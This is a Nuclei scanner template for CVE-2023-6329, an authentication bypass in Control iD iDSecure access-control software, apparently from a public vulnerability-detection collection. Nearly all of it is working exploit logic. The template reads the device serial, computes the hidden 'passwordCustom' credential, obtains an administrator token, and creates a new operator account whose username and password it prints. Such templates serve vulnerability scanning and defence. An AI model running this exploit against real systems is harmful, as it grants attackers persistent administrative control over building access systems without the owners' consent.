id: CVE-2023-6329

info:
  name: Control iD iDSecure - Authentication Bypass
  author: DhiyaneshDK,princechaddha
  severity: critical
  description: |
    An authentication bypass vulnerability exists in Control iD iDSecure v4.7.32.0. The login routine used by iDS-Core.dll contains a "passwordCustom" option that allows an unauthenticated attacker to compute valid credentials that can be used to bypass authentication and act as an administrative user.
  impact: |
    Successful exploitation could allow an attacker to bypass authentication controls.
  remediation: |
    Apply the vendor-supplied patch or update to the latest firmware version to mitigate the vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6329
    cwe-id: CWE-287
    epss-score: 0.02363
    epss-percentile: 0.90025
    cpe: cpe:2.3:a:controlid:idsecure:4.7.32.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: controlid
    product: idsecure
    fofa-query: body="iDSecure"
  tags: cve,cve2023,auth-bypass,idsecure,control-id,intrusive

variables:
  username: "{{rand_base(8)}}"
  password: "{{randstr}}"
  sha1Hash: "{{sha1(serial)}}"
  passwordRandom: "{{rand_text_numeric(10)}}"

flow: |
  http(1);
  javascript();
  http(2);
  http(3);

javascript:
  - code: |
      var passwordRandom = passwordRandom;
      var sha1Hash = template.sha1Hash;
      var sha256Hash=(sha256combined.substring(0,6))
      var passwordCustom = parseInt(sha256Hash, 16).toString();
      passwordCustom
    args:
      sha1Hash: "{{sha1Hash}}"
      sha256combined: "{{ sha256(sha1Hash+passwordRandom+'cid2016') }}"
      passwordRandom: "{{passwordRandom}}"

http:
  - raw:
      - |
        GET /api/login/unlockGetData HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'serial'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: serial
        internal: true
        json:
          - '.serial'

  - raw:
      - |
        POST /api/login/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"passwordCustom": "{{javascript_response}}", "passwordRandom": "{{passwordRandom}}"}

    matchers:
      - type: word
        part: body
        words:
          - 'accessToken'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: access-token
        internal: true
        json:
          - '.accessToken'

  - raw:
      - |
        POST /api/operator/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access-token}}
        Content-Type: application/json

        {"idType": "1", "name": "{{username}}", "user": "{{username}}", "newPassword": "{{password}}", "password_confirmation": "{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "code", "newID")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ username'
          - '"PASS: "+ password'
# digest: 4b0a00483046022100895b94d76a7ede9ee459ebbaa04b14c0a6ac36b8e9d1417ec0b362e96d6ecd31022100a65e4c166183a82c5a6cd122d78af1a54d7d0aeea739c63827ca93d895f461dd:922c64590222798bb761d5b6d8e72950